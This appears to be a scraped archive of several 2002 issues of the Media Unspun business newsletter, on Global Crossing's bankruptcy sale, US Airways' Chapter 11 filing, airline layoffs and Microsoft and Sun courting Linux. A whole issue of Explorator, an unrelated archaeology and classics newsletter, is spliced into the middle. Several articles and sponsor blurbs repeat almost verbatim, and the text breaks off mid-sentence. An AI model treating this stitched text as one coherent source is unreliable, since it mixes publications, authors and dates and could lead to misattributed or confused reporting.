Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. http://release1.edventure.com/executivesummary.cfm?MCode=Unspun ----------------------------------------------------------------- REMEMBER GLOBAL CROSSING? ----------------------------------------------------------------- Follow-up has never been the media's strong suit. Once stories fade from page one, so does reporters' interest. And in this summer of corporate scandals, remembering back to Global Crossing's January implosion and bankruptcy is akin to trying to recall the fuss over chads. The Financial Times pegged the company's bankruptcy sale Friday a ""long-awaited"" transaction, but few other outlets seemed to be holding their breath. The dearth of coverage is too bad, because the shock value of the numbers alone is worth attention, especially with Enron and WorldCom following behind it in the Chapter 11 aisle. Bankruptcy, it seems, means never having to say you're sorry. Global Crossing owed $12 billion when it filed for bankruptcy in January. Its sale price? $250 million -- and that's for only a nearly two-thirds stake. Sound too low? Back in January, Global Crossing could have gotten much more, three times that much, and from the very same investment team, Asian conglomerates Hutchison Whampoa and Singapore Technologies Telemedia. But Global Crossing sniffed it was worth way more. Now that it has discovered it's worth way less, here's how the deal carves up what's left of Global Crossing's pie, pending the regulatory approval that's expected in about six months. The two investors get a 61.5% stake; bank creditors get 6%, and bondholders get about a one-third share. Who's missing from the slice-and-dice? Shareholders, of course, who get nothing. The company is unapologetic, and creditors feel lucky for the crumbs. ""The reality is we could have done considerably worse,"" the Wall Street Journal quoted Edward Weisenfelder, a lawyer for the creditors. As for the shrewd buyers, the Financial Times quoted Hutchison's official statement that the deal would extend its telecom capabilities, particularly in its broadband service. But the Wall Street Journal speculated that the company is simply buying low so it can sell higher. Global Crossing's turned-down offer of $750 million is approximately the same amount the company's founder, Gary Winnick, reaped in personal riches from the sale of his stock, as the Journal noted in its page-one story on the telecom bandits. That's a lot of paper bits on any floor. - Deborah Asbrand Hobbled Global Crossing Accepts Buyout Bid From Asian Investors http://online.wsj.com/article/0,,SB1028898681279625080,00.html (Paid subscription required.) Buyers to pay $250 million for Global Crossing (AP) http://www.bayarea.com/mld/mercurynews/2002/08/10/business/3837152.htm Global Crossing seals revival deal http://news.bbc.co.uk/2/hi/business/2183600.stm Firms to Buy Majority Of Global Crossing http://www.washingtonpost.com/wp-dyn/articles/A959-2002Aug9.html Before Telecom Bubble Burst, Some Insiders Sold Out Stakes http://online.wsj.com/article/0,,SB1029102020679872395.dzzz,00.html (Paid subscription required.) ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- A Bertelsmann Heir Jockeys to Be Heir Apparent http://www.nytimes.com/2002/08/12/business/media/12BERT.html Martha Stewart likely to be subpoenaed http://www.salon.com/tech/wire/2002/08/11/stewart/index.html US fraud law confuses Europe's top companies http://tinyurl.com/zqj Race to Tell AOL Time Warner Story http://www.nytimes.com/2002/08/12/business/media/12BOOK.html Creditors seek more WorldCom data (Wall Street Journal) http://www.msnbc.com/news/792924.asp Interpretation of Law Could Lead to Ban on Range of Executive Perks http://www.latimes.com/news/printedition/front/la-fi-murky12aug12.story Blockbuster Fallout at Netflix http://www.nytimes.com/2002/08/12/technology/12ECOM.html Microsoft changes its tune toward Linux http://seattletimes.nwsource.com/html/businesstechnology/134511508_linux12.html Spamming the World (Newsweek) http://www.msnbc.com/news/792491.asp ----------------------------------------------------------------- Do you want to reach the Net's savviest audience? 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Other Stories Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Ken Fisher offers his Quarterly Report for high net worth investors FREE of cost & without obligation. Access the same investment research he uses to guide his clients at: http://pcg.fisherinvestments.com/newrespond/letter.asp?site=UNSP&KC=1229EFCAD0000 Brother, Can You Spare a Jet? Creditors and shareholders of U.S. Airways found themselves in the upright and locked position Sunday as the nation's sixth-largest airline filed for bankruptcy protection. The Arlington, Va.-based carrier sought cover under the bankruptcy code's Chapter 11, but much of its trouble could be traced to Sept. 11. Remember when all U.S. airports reopened except for Reagan Washington, which was too close to the White House and other gov sites? Remember how it was weeks before the first lonely flights lifted at last? Guess which airline was the major carrier there. (Hint: It's the same one that bled $2 billion in the past year.) Even before the terror attacks, U.S. Airways was an animal in pain. To all the usual industry troubles, add these: fierce competition from discounters, a too-small area of service concentrated on the East Coast, and an unofficial battle with United Airlines for the highest labor costs in the business. Frustrated, the carrier tried to throw in the towel two years ago, reminded the Washington Post. In a bid to get bought by United, U.S. Airways pleaded to federal antitrust regulators that it was too small to survive on its own. The feds disagreed and blocked the deal. Now, of course, U.S. Airways has a new flight plan. Among those likely to get airsick: shareholders, whose investment has vanished; employees, many of whom are expected to lose their jobs, even though their unions have conceded hundreds of millions of dollars in pay; and creditors, especially plane-leasing companies, which will collect only as much as a bankruptcy judge approves. (Where, by the way, is the reporter who will pick up the story of these leasing companies? Not one creditor was named in any account we could find. Yet before we soak our hankies over U.S. Airways, we'd like to hear a word from the folks getting stiffed.) Need a silver lining? Check out the Wall Street Journal, which observes that Continental Airlines ""soared to profitability"" thanks to its time in rehab a decade ago. We're guessing that anecdote is on the minds of Texas Pacific Group, which is plunking down $200 million for two-fifths of U.S. Airways. Texas Pacific also played friend in need to Continental -- and pocketed 11 times its investment. Meanwhile, it will be ""business as usual"" for U.S. Airways customers, the company's chief assured a skeptical New York Times. The airline will even continue to track and to honor frequent-flier miles. Better still: Cautious customers can use U.S. Airways miles to book flights with its marketing partner, United. And, hey, according to an analyst quoted in the Journal, there's at least a 20% chance that United won't be the next major carrier to announce it's gone broke. - Lori Patel US Airways Files for Chapter 11 http://abcnews.go.com/wire/Business/ap20020811_1301.html US Airways Announces Bankruptcy http://www.nytimes.com/2002/08/12/business/12AIR.html Shifts to Cause Rerouting of Some Booked Fliers http://www.nytimes.com/2002/08/12/business/12CONS.html US Airways Files for Bankruptcy Protection http://www.washingtonpost.com/wp-dyn/articles/A6587-2002Aug11.html US Airways Group, Hit Hard By Terror, Files for Chapter 11 http://online.wsj.com/article/0,,SB1029103594827437995,00.html (Paid subscription required.) Sponsor You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. Remember Global Crossing? Follow-up has never been the media's strong suit. Once stories fade from page one, so does reporters' interest. And in this summer of corporate scandals, remembering back to Global Crossing's January implosion and bankruptcy is akin to trying to recall the fuss over chads. The Financial Times pegged the company's bankruptcy sale Friday a ""long-awaited"" transaction, but few other outlets seemed to be holding their breath. The dearth of coverage is too bad, because the shock value of the numbers alone is worth attention, especially with Enron and WorldCom following behind it in the Chapter 11 aisle. Bankruptcy, it seems, means never having to say you're sorry. Global Crossing owed $12 billion when it filed for bankruptcy in January. Its sale price? $250 million -- and that's for only a nearly two-thirds stake. Sound too low? Back in January, Global Crossing could have gotten much more, three times that much, and from the very same investment team, Asian conglomerates Hutchison Whampoa and Singapore Technologies Telemedia. But Global Crossing sniffed it was worth way more. Now that it has discovered it's worth way less, here's how the deal carves up what's left of Global Crossing's pie, pending the regulatory approval that's expected in about six months. The two investors get a 61.5% stake; bank creditors get 6%, and bondholders get about a one-third share. Who's missing from the slice-and-dice? Shareholders, of course, who get nothing. The company is unapologetic, and creditors feel lucky for the crumbs. ""The reality is we could have done considerably worse,"" the Wall Street Journal quoted Edward Weisenfelder, a lawyer for the creditors. As for the shrewd buyers, the Financial Times quoted Hutchison's official statement that the deal would extend its telecom capabilities, particularly in its broadband service. But the Wall Street Journal speculated that the company is simply buying low so it can sell higher. Global Crossing's turned-down offer of $750 million is approximately the same amount the company's founder, Gary Winnick, reaped in personal riches from the sale of his stock, as the Journal noted in its page-one story on the telecom bandits. That's a lot of paper bits on any floor. - Deborah Asbrand Hobbled Global Crossing Accepts Buyout Bid From Asian Investors http://online.wsj.com/article/0,,SB1028898681279625080,00.html (Paid subscription required.) Buyers to pay $250 million for Global Crossing (AP) http://www.bayarea.com/mld/mercurynews/2002/08/10/business/3837152.htm Global Crossing seals revival deal http://news.bbc.co.uk/2/hi/business/2183600.stm Firms to Buy Majority Of Global Crossing http://www.washingtonpost.com/wp-dyn/articles/A959-2002Aug9.html Before Telecom Bubble Burst, Some Insiders Sold Out Stakes http://online.wsj.com/article/0,,SB1029102020679872395.dzzz,00.html (Paid subscription required.) Other Stories A Bertelsmann Heir Jockeys to Be Heir Apparent http://www.nytimes.com/2002/08/12/business/media/12BERT.html Martha Stewart likely to be subpoenaed http://www.salon.com/tech/wire/2002/08/11/stewart/index.html US fraud law confuses Europe's top companies http://tinyurl.com/zqj Race to Tell AOL Time Warner Story http://www.nytimes.com/2002/08/12/business/media/12BOOK.html Creditors seek more WorldCom data (Wall Street Journal) http://www.msnbc.com/news/792924.asp Interpretation of Law Could Lead to Ban on Range of Executive Perks http://www.latimes.com/news/printedition/front/la-fi-murky12aug12.story Blockbuster Fallout at Netflix http://www.nytimes.com/2002/08/12/technology/12ECOM.html Microsoft changes its tune toward Linux http://seattletimes.nwsource.com/html/businesstechnology/134511508_linux12.html Spamming the World (Newsweek) http://www.msnbc.com/news/792491.asp Sponsor Do you want to reach the Net's savviest audience? Advertise in Media Unspun. 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Most urls should be active for at least eight hours from the time of publication. ================================================================ ================================================================ Thanks to Bill Thayer, Ross Sargent, 'Salinas17', Michael Ruggieri, Maurice O'Sullivan, Terry Gibson, 'mb2400', Bill Kennedy, Paul James Cowie, Arthur Shippee, Joseph Nicholas, W. Richard Frahm,'alesmonetos', and Sally Winchester for headses upses this week (a.a.h.i.h.l.n.o.o.) n.b. Last week I carelessly suggested the team which had claimed to have found El Dorado was Polish; it is, in fact, an international team led by a ""Polish-Italian"" journalist/explorer. Apologies for any confusion this may have caused. ================================================================ ================================================================ AFRICA, EUROPE, AND ASIA ================================================================ John Noble Wilford attempts to clarify the Chadian skull thing: http://www.nytimes.com/2002/08/06/science/06SKUL.html In the what-can-DNA-tell-us-about-antiquity department, the latest suggestion is that there is genetic evidence ""middle easter farmers 'civilised' Europe"": http://www.newscientist.com/news/news.jsp?id=ns99992634 http://portal.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2002%2F08%2F06%2Fngene06.xml A log boat which might date to 3000 B.C. has been found off the coast of Ireland: http://www.ireland.com/newspaper/ireland/2002/0805/2854861586HM2LOGBOAT.html http://www.unison.ie/irish_independent/index.php3?ti=41&ca=9&si=801897&issue_id=7825 The Cerne Abbas Giant was recently, er, 'defaced' (not permanently ... potentially offensive content in this one): http://story.news.yahoo.com/news?tmpl=story2&u=/nm/20020806/od_nm/sex_dc_1 Satellite technology has revealed a prehistoric site near Northumberland: http://news.bbc.co.uk/2/hi/england/2178530.stm ... and a prehistoric cemetery has been found near Cheshire: http://www.ananova.com/news/story/sm_644681.html They're still making significant finds in the 'workers village'near the pyramids: http://news.nationalgeographic.com/news/2002/08/0805_020805_giza.html Gulf News has a nice feature on the alignment of a Dilmun temple at Saar: http://www.gulf-daily-news.com/arc_Articles.asp?Article=29638&Sn=BNEW&IssueID=25142 Plenty of coverage of a story on Bronze Age 'drug trade': http://www.abcnews.go.com/wire/World/ap20020807_922.html http://story.news.yahoo.com/news?tmpl=story&u=/ap/20020808/ap_wo_en_po/israel_ancient_narcotics_1 http://stacks.msnbc.com/news/791265.asp http://europe.cnn.com/2002/WORLD/meast/08/08/ancientnarcotics.ap/index.html http://www.jpost.com/servlet/Satellite?pagename=JPost/A/JPArticle/ShowFull&cid=1028814634905 The Egyptian Museum in Cairo will be marking its centennial by hauling up a bunch of never-before-seen artifacts from the basement: http://story.news.yahoo.com/news?tmpl=story&u=/nm/20020805/sc_nm/leisure_egypt_museum_dc_1 http://www.chron.com/cs/CDA/story.hts/world/1522113 Another piece on politics and archaeology in the Holy Land: http://www.orlandosentinel.com/news/nationworld/orl-asecisraeldig04080402aug04.story ... while archaeologists seem to be quietly excavating a Byzantine monastery in Gaza: http://www.ekathimerini.com/4dcgi/news/content.asp?aid=19621 A first century cemetery has come to light near Palmyra: http://story.news.yahoo.com/news?tmpl=story&u=/ap/20020809/ap_wo_en_ge/syria_archaeology_1 A human-size statue of Baal Addir was recently revealed in a Sardinian context: http://www.news.com.au/common/story_page/0,4057,4855902%255E1702,00.html A Celtic Iron Age fort in Wales is ""revealing its secrets"": http://news.bbc.co.uk/2/hi/wales/2178489.stm A large number of Eastern Zhou Dynasty tombs have been found in China: http://news.xinhuanet.com/english/2002-08/10/content_519198.htm ... as has an important tomb of an aristocrat: http://www1.chinadaily.com.cn/news/lf/2002-08-11/81655.html Four Buddhas have been found hidden inside another Buddha rarely seen by the public: http://www.ananova.com/news/story/sm_643946.html Sanskrit is in danger of becoming extinct: http://news.bbc.co.uk/2/hi/south_asia/2173400.stm There's a battle brewing over the fate of the ""Welsh Mary Rose"": http://www.guardian.co.uk/arts/news/story/0,11711,771543,00.html http://news.bbc.co.uk/2/hi/wales/2183191.stm ================================================================ THE AMERICAS ================================================================ There is evidence of pre-Columbian dentistry in Mexico: http://www.thenewsmexico.com/printedformat.asp?id=31882 Bones found near Lake Jackson (Texas) might be 11,000 years old: http://www.chron.com/cs/CDA/printstory.hts/metropolitan/1528019 A nice report on excavations near Fort Vancouver: http://www.canoe.ca/NationalTicker/CANOE-wire.Bay-Dig.html Home construction in Virginia has revealed the grave of a slave: http://story.news.yahoo.com/news?tmpl=story&u=/ap/20020808/ap_wo_en_ge/us_slave_remains_1 ================================================================ ON THE NEWSSTANDS ================================================================ A new issue of Bible Review, with online articles on a collection of New Testament manuscripts, the Exodus debate, and other things: http://www.bib-arch.org/bswb_BR/indexBR.html ... and Archaeology Odyssey, with articles on the ten most endangered archaeological sites, Moses Shapira (wow), et alia: http://www.bib-arch.org/bswb_AO/indexAO.html ================================================================ ON THE WEB ================================================================ I came across the Into Archaeology website this week; it's worth a look for a number of reasons, but in particular its articles section has some good stuff (currently, an interview with Adrienne Mayor, a piece on the Thera ships, and a piece on the work at Bird Cove): http://www.intoarch.com/ The Oriental Institute has recently added a whole pile of publically- accessible articles to its News and Notes section: http://www-oi.uchicago.edu/OI/DEPT/PUB/NewsAndNotes.html ================================================================ NEW ONLINE BOOKS ================================================================ George Dennis, *Cities and Cemeteries of Etruria*: http://www.ukans.edu/history/index/europe/ancient_rome/E/Gazetteer/Places/Europe/Italy/.Periods/Roman/Archaic/Etruscan/.Texts/DENETR*/home.html Horace, *Odes and Carmen Saeculare* (Conington trans.): http://digital.library.upenn.edu/webbin/gutbook/lookup?num=5432 Horace, *Satires, Epistles, and Ars Poetica* (Conington trans.): http://digital.library.upenn.edu/webbin/gutbook/lookup?num=5419 ================================================================ ON THE ARCHAEOLOGY CHANNEL ================================================================ Calleva: The Roman Town of Silchester: http://www.archaeologychannel.org/ ================================================================ CRIME BEAT ================================================================ There are claims that recent Al-Qaeda casualties were actually potential antiquity thieves: http://europe.cnn.com/2002/WORLD/asiapcf/central/08/07/afghan.gunfights/index.html ================================================================ AT ABOUT.COM ================================================================ ... can't seem to connect today (hmmmmm...) ================================================================ REVIEWS ================================================================ Iain Pears, *Dream of Scipio*: http://www.nytimes.com/2002/08/07/books/07PEAR.html http://www.nytimes.com/2002/06/23/books/review/23CROWLET.html Tony Perrottet, *Route 66 A.D.: On the Trail of Ancient Roman Tourists* http://seattletimes.nwsource.com/html/artsentertainment/134447835_route66ad05.html Anton Powell, * Athens and Sparta: Constructing Greek political and social history from 478 BC* http://www.athensnews.gr/athweb/nathens.print_unique?e=C&f=12974&m=A19&aa=2&eidos=S Antigone (Epidavros): http://www.ekathimerini.com/4dcgi/news/content.asp?aid=19644 ================================================================ EXHIBITIONS ================================================================ Treasures from a Lost Civilization (Toronto): http://story.news.yahoo.com/news?tmpl=story&u=/nm/20020809/wl_canada_nm/canada_arts_china_col_1 ================================================================ CLASSICIST'S CORNER ================================================================ Famed debunker James Randi has been running a series on Lucian's debunking of Alexander of Abonutichus which is worth a look. It's in four parts (you'll have to skim through some other, readable, stuff to get to the bits on Lucian ... it tends to be near the end): http://www.randi.org/jr/071902.html http://www.randi.org/jr/072602.html http://www.randi.org/jr/080202.html http://www.randi.org/jr/080902.html In case you meet someone who asks, ""What's all the hubbub about those Elgin Marbles?"", here's a nice article to hand them: http://www.japantimes.co.jp/cgi-bin/getarticle.pl5?fv20020806a1.htm Classical precedents cited in a piece on gossip: http://www.nytimes.com/2002/08/10/arts/10GOSS.html Latin content in a story of a man with way too much time on his hands: http://www.guardian.co.uk/international/story/0,3604,770241,00.html How not to pursue a classics degree: http://www.thisisoxfordshire.co.uk/oxfordshire/news/NEWS6.html Some guy is studying why ancient Greek buildings seem to do so well in earthquakes (do they?): http://www.ekathimerini.com/4dcgi/news/content.asp?aid=19704 A reader alerted me to LewRockwell.com, this week, which is a political site which at least one item of interest ... a piece by Daniel McCarthy on Greek ideas of liberty: http://www.lewrockwell.com/dmccarthy/dmccarthy35.html Plenty of ClassCon in a Newsweek piece ""Why We Need Heaven"": http://www.msnbc.com/news/789252.asp ... and a reason for studying Latin and Greek in an interview with David McCollough: http://www.neh.gov/news/humanities/2002-07/danger.html Not sure whether there's comparanda potential in this bit on the crowning of King Puck: http://story.news.yahoo.com/news?tmpl=story2&cid=856&ncid=856&e=1&u=/nm/20020810/od_uk_nm/oukoe_ireland_puck_1 Peter Jones in the Spectator (there's a Hannibal movie coming!): http://www.spectator.co.uk/article.php3?table=old§ion=current&issue=2002-08-10&id=2137 ... and Dot Wordsworth: http://www.spectator.co.uk/article.php3?table=old§ion=current&issue=2002-08-10&id=2138 Perfess'r Harris' Classics Corner: http://www.realchangenews.org/issue/current/classics/classics_corner.html Radio Finland's Nuntii Latini http://www.yle.fi/fbc/latini/trans.html Radio Bremen's Der Monatsrckblick - auf Latein http://www.radiobremen.de/online/latein/ U.S. Weather in Latin: http://latin.wunderground.com/ ================================================================ FOLLOWUPS ================================================================ Ancient Chinese Mail: http://www.guardian.co.uk/china/story/0,7369,770922,00.html Birth Bricks: http://www.nytimes.com/2002/08/06/science/social/06BRIC.html?ex=1029729600&en=cbb6833f14483e22&ei=5040&partner=MOREOVER ""Hidden Nazi Gold"": http://www.nytimes.com/aponline/international/AP-Germany-Nazi-Gold.html http://www.heraldsun.news.com.au/common/story_page/0,5478,4859169%255E663,00.html http://www.haaretzdaily.com/hasen/pages/ShArt.jhtml?itemNo=195691&contrassID=1&subContrassID=8&sbSubContrassID=0&listSrc=Y Monitor (the coverage varies quite a bit in these): http://www.cnn.com/2002/US/08/05/uss.monitor.ap/index.html http://www.nytimes.com/2002/08/09/science/09MONI.html http://story.news.yahoo.com/news?tmpl=story&u=/ap/20020805/ap_on_go_ca_st_pe/uss_monitor_5 http://www.msnbc.com/news/789905.asp Ninkasi Beer: http://story.news.yahoo.com/news?tmpl=story&u=/nm/20020806/od_uk_nm/oukoe_britain_beer_1 Old Chess Piece: http://portal.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2002%2F08%2F06%2Fwchess06.xml Replica Egyptian Tombs: http://www.ahram.org.eg/weekly/2002/598/hr1.htm Return of Ramses I: http://www.theartnewspaper.com/news/article.asp?idart=9856 Return of Roman sculpture by Princeton: http://www.theartnewspaper.com/news/article.asp?idart=9855 Roman Plane from York: http://www.fragmentsoftime.com/new_page_8.htm Vinland Map: http://story.news.yahoo.com/news?tmpl=story2&cid=624&ncid=624&e=12&u=/ap/20020730/ap_on_sc/vinland_map_3 ================================================================ EXPLORATOR is a weekly newsletter representing the fruits of the labours of 'media research division' of The Atrium. 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An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- Ken Fisher offers his Quarterly Report for high net worth investors FREE of cost & without obligation. Access the same investment research he uses to guide his clients at: http://pcg.fisherinvestments.com/newrespond/letter.asp?site=UNSP&KC=1229EFCAD0000 ----------------------------------------------------------------- UNITED WE FALL? ----------------------------------------------------------------- US Airways scored a $500 million bankruptcy court bailout. American Airlines announced a re-org. United Airlines' parent company's stock sank on speculation that UAL is next in line for Chapter 11. It's a wonder none of this happened last September, but it's not much consolation to airline employees, shareholders, and customers that it's happening now. The Wall Street Journal had the most extensive coverage of American's plan as of Unspun's deadline. The airline will lay off 7,000 workers, ground some jets, cut back on flight amenities such as food, and retool its hub operations to make for longer layovers. ""In the past, airlines were loath to have longer connection times because flights were listed in travel agents' computers by elapsed time,"" said the Journal. ""Now, online booking tools and search engines most often list flights by price, not time."" In this age of penny-pinching, American's worried about low-cost carriers, not the big guys like, um, US Air and United. Speaking of United, it's hard to come up with a verb for its parent company's stock that doesn't invoke an air disaster. Let's just say it didn't go up yesterday. The $3.80 share price may be the least of UAL's worries while it waits for an increasingly unlikely $1.8 billion loan from the Air Transportation Stabilization Board. ""The ATSB expects an applicant's workers, suppliers and creditors to make concessions to help the airline repay the loans and thus protect U.S. taxpayers' interests,"" said the L.A. Times. Sounds nice for uninvolved taxpayers but not so good to some of United's unions, which are balking at a wage cut. Workers did enough by deferring $498 million in retroactive pay this year, said the 36,000-member machinists' union. Analysts moaned in anti-labor frustration. The basic problem here is too many empty airplane seats, and non-U.S. outlets didn't have a lot of sympathy. ""The U.S. government has bailed out carriers with insurance subsidies and federal loan guarantees"" while ""European authorities have acted more wisely,"" letting Swissair and Sabena ""go to the wall,"" said the Financial Times. Canadian pundits agreed that America should let a couple of airlines wilt, since the Canadian airline industry benefited from the demise of Canadian Airlines and Canada 3000. Paging Charles Darwin to the white courtesy phone... - Jen Muehlbauer ----------------------------------------------------------------- ADVERTISEMENT ----------------------------------------------------------------- You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. http://release1.edventure.com/executivesummary.cfm?MCode=Unspun ----------------------------------------------------------------- SLEEPING WITH THE PENGUIN ----------------------------------------------------------------- The LinuxWorld Conference and Expo, which opened yesterday in San Francisco, will host two of the strangest bedfellows ever to lie down with a stuffed penguin: Microsoft and Sun. These are companies that once referred to Linux as a ""bathtub of code"" (Sun) and ""a cancer"" (Microsoft), according to Sun's hometown paper the San Jose Mercury News. Both companies are taking Linux seriously despite the absolute numbers. By January 2, 2001, Microsoft had made as much on server software as all Linux vendors put together would reap in the entire year. Honors for the best attention-grabber on Microsoft's presence at the show go to Brier Dudley, who opened his piece for the Seattle Times this way: ""Microsoft executive Peter Houston wasn't too worried about the reception he'd get at LinuxWorld ... until he heard about the pie cannon."" Wired informed us that the section of LinuxWorld where Microsoft will be holding the fort is dubbed the Rookery -- ""a place where you can watch companies hatch and grow right before your eyes,"" deadpanned reporter Michelle Delio, quoting Microsoft's Houston: ""Hatching isn't exactly on the agenda, but I certainly hope to grow."" Turning to Sun, Unspun notes that five years ago a joke press release circulated on the Net claiming that Linux creator Linus Torvalds, then still living in Finland, was moving to Silicon Valley to work for Sun. The joke was that Sun had decided to scrap its Solaris operating system and instead concentrate on a version of Linux, to be called ""Solinux."" How time does make April fools of us all: Linus Torvalds is now thriving in Silicon Valley (at Transmeta), and yesterday Sun Microsystems demonstrated Sun Linux 5.0. and introduced its first general-purpose servers running Linux. The Merc ran a comprehensive wrap of Sun's evolving attitude toward the upstart operating system. Sun has little choice but to embrace Linux, wrote reporter Therese Poletti, because some of its traditional Wall Street customers were deserting it. ""Several investment banks have tossed out whole sections of Sun servers and replaced them with Intel-based servers running Linux,"" Poletti reported. And you thought Microsoft hated Linux? - Keith Dawson Linux expo has come a long way http://www.siliconvalley.com/mld/siliconvalley/3847040.htm Microsoft changes its tune toward Linux (Seattle Times) http://makeashorterlink.com/?Q12B23181 Microsoft Puts On the Tux http://www.wired.com/news/linux/0,1411,54489,00.html (Hoax press release on ""Solinux"") http://www.ibiblio.org/dbarberi/fools/classic/1997/sun-pr.html Sun to name Linux-Solaris chief http://news.com.com/2100-1001-949469.html Sun Microsystems flexes Linux to jab at Microsoft (Seattle Times) http://makeashorterlink.com/?A25B52181 Microsoft and Free Software at the Same Show? It's True http://www.nytimes.com/2002/08/10/technology/10LINU.html Linux begins its descent into the enterprise http://www.internetnews.com/ent-news/article.php/1443811 ----------------------------------------------------------------- OTHER STORIES ----------------------------------------------------------------- Ex-CEO Pleads Not Guilty to ImClone Fraud http://www.washingtonpost.com/wp-dyn/articles/A10407-2002Aug12.html Security flaw found in Microsoft Web browser (Reuters) http://www.philly.com/mld/philly/business/technology/3851394.htm Fed seen leaving rates unchanged http://www.msnbc.com/news/793177.asp Some Sad No-Signs of the Times http://www.businessweek.com/bwdaily/dnflash/aug2002/nf20020813_0067.htm Publisher dodges bankruptcy bullet http://www.chicagotribune.com/business/chi-020812ziff.story Gates Foundation Walks Fine Line As It Increases Its Cable Holdings http://online.wsj.com/article/0,,SB1029180416481589035,00.html (Paid subscription required.) PGP defect reveals encrypted messages http://news.com.com/2100-1001-949368.html Bell Labs simplifies single sign-on http://www.theregister.co.uk/content/55/26624.html Bigger Bar Code Inches Up on Retailers http://www.nytimes.com/2002/08/12/technology/12CODE.html Damn the Constitution: Europe must take back the Web http://www.theregister.co.uk/content/6/26612.html Japanese Drop Out of New ID System (Newsday, AP) http://makeashorterlink.com/?T69B22181 ----------------------------------------------------------------- Do you want to reach the Net's savviest audience? Advertise in Media Unspun. Contact Erik Vanderkolk for details at erikvanderkolk@yahoo.com today. ----------------------------------------------------------------- STAFF ----------------------------------------------------------------- Written by Deborah Asbrand (dasbrand@world.std.com), Keith Dawson (dawson@world.std.com), Jen Muehlbauer (jen@englishmajor.com), and Lori Patel (loripatel@hotmail.com). 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Sleeping with the Penguin Other Stories Media Unspun serves business news and analysis, authoritatively and irreverently, every business day. An annual subscription costs $50, less than a dollar a week. If your four-week free trial is coming to an end soon, please visit http://www.mediaunspun.com/subscribe.html and sign up via credit card or check. Sponsor Ken Fisher offers his Quarterly Report for high net worth investors FREE of cost & without obligation. Access the same investment research he uses to guide his clients at: http://pcg.fisherinvestments.com/newrespond/letter.asp?site=UNSP&KC=1229EFCAD0000 United We Fall? US Airways scored a $500 million bankruptcy court bailout. American Airlines announced a re-org. United Airlines' parent company's stock sank on speculation that UAL is next in line for Chapter 11. It's a wonder none of this happened last September, but it's not much consolation to airline employees, shareholders, and customers that it's happening now. The Wall Street Journal had the most extensive coverage of American's plan as of Unspun's deadline. The airline will lay off 7,000 workers, ground some jets, cut back on flight amenities such as food, and retool its hub operations to make for longer layovers. ""In the past, airlines were loath to have longer connection times because flights were listed in travel agents' computers by elapsed time,"" said the Journal. ""Now, online booking tools and search engines most often list flights by price, not time."" In this age of penny-pinching, American's worried about low-cost carriers, not the big guys like, um, US Air and United. Speaking of United, it's hard to come up with a verb for its parent company's stock that doesn't invoke an air disaster. Let's just say it didn't go up yesterday. The $3.80 share price may be the least of UAL's worries while it waits for an increasingly unlikely $1.8 billion loan from the Air Transportation Stabilization Board. ""The ATSB expects an applicant's workers, suppliers and creditors to make concessions to help the airline repay the loans and thus protect U.S. taxpayers' interests,"" said the L.A. Times. Sounds nice for uninvolved taxpayers but not so good to some of United's unions, which are balking at a wage cut. Workers did enough by deferring $498 million in retroactive pay this year, said the 36,000-member machinists' union. Analysts moaned in anti-labor frustration. The basic problem here is too many empty airplane seats, and non-U.S. outlets didn't have a lot of sympathy. ""The U.S. government has bailed out carriers with insurance subsidies and federal loan guarantees"" while ""European authorities have acted more wisely,"" letting Swissair and Sabena ""go to the wall,"" said the Financial Times. Canadian pundits agreed that America should let a couple of airlines wilt, since the Canadian airline industry benefited from the demise of Canadian Airlines and Canada 3000. Paging Charles Darwin to the white courtesy phone... - Jen Muehlbauer Sponsor You've heard about identity management, but do you know about the opportunities and business models that will emerge as a result? Download a free executive summary of Esther Dyson's coverage of identity management in Release 1.0. Learn more about the expanding market for these services and applications. Sleeping with the Penguin The LinuxWorld Conference and Expo, which opened yesterday in San Francisco, will host two of the strangest bedfellows ever to lie down with a stuffed penguin: Microsoft and Sun. These are companies that once referred to Linux as a ""bathtub of code"" (Sun) and ""a cancer"" (Microsoft), according to Sun's hometown paper the San Jose Mercury News. Both companies are taking Linux seriously despite the absolute numbers. By January 2, 2001, Microsoft had made as much on server software as all Linux vendors put together would reap in the entire year. Honors for the best attention-grabber on Microsoft's presence at the show go to Brier Dudley, who opened his piece for the Seattle Times this way: ""Microsoft executive Peter Houston wasn't too worried about the reception he'd get at LinuxWorld ... until he heard about the pie cannon."" Wired informed us that the section of LinuxWorld where Microsoft will be holding the fort is dubbed the Rookery -- ""a place where you can watch companies hatch and grow right before your eyes,"" deadpanned reporter Michelle Delio, quoting Microsoft's Houston: ""Hatching isn't exactly on the agenda, but I certainly hope to grow."" Turning to Sun, Unspun notes that five years ago a joke press release circulated on the Net claiming that Linux creator Linus Torvalds, then still living in Finland, was moving to Silicon Valley to work for Sun. The joke was that Sun had decided to scrap its Solaris operating system and instead concentrate on a version of Linux, to be called ""Solinux."" How time does make April fools of us all: Linus Torvalds is now thriving in Silicon Valley (at Transmeta), and yesterday Sun Microsystems demonstrated Sun Linux 5.0. and introduced its first general-purpose servers running Linux. The Merc ran a comprehensive wrap of Sun's evolving attitude toward the upstart operating system. Sun has little choice but to embrace Linux, wrote reporter Therese Poletti, because some of its traditional Wall Street customers were deserting it. ""Several investment banks have tossed out whole sections of Sun servers and replaced them with Intel-based servers running Linux,"" Poletti reported. And you thought Microsoft hated Linux? - Keith Dawson Linux expo has come a long way http://www.siliconvalley.com/mld/siliconvalley/3847040.htm Microsoft changes its tune toward Linux (Seattle Times) http://makeashorterlink.com/?Q12B23181 Microsoft Puts On the Tux http://www.wired.com/news/linux/0,1411,54489,00.html (Hoax press release on ""Solinux"") http://www.ibiblio.org/dbarberi/fools/classic/1997/sun-pr.html Sun to name Linux-Solaris chief http://news.com.com/2100-1001-949469.html Sun Microsystems flexes 